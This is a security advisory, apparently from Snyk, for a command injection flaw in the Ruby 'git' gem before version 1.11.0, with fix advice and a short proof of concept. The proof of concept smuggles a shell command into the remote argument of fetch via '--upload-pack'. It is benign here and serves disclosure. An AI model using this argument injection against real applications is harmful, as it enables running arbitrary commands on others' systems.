Command Injection Affecting git Open this link in a new tab package, versions <1.11.0


0.0
high
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    High

  • Confidentiality

    High

  • Integrity

    High

  • Availability

    High

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  • snyk-id

    SNYK-RUBY-GIT-2421270

  • published

    19 Apr 2022

  • disclosed

    11 Mar 2022

  • credit

    Alessio Della Libera of Snyk Research Team

How to fix?

Upgrade git to version 1.11.0 or higher.

Overview

git is a Ruby library that can be used to create, read and manipulate Git repositories by wrapping system calls to the git binary.

Affected versions of this package are vulnerable to Command Injection via git argument injection. When calling the fetch(remote = 'origin', opts = {}) function, the remote parameter is passed to the git fetch subcommand in a way that additional flags can be set. The additional flags can be used to perform a command injection.

PoC

require "git"

g = Git.init('project')

origin = "--upload-pack=touch ./HELLO1;"
g.fetch(origin, {:ref => 'some/ref/head'} )

# ls -la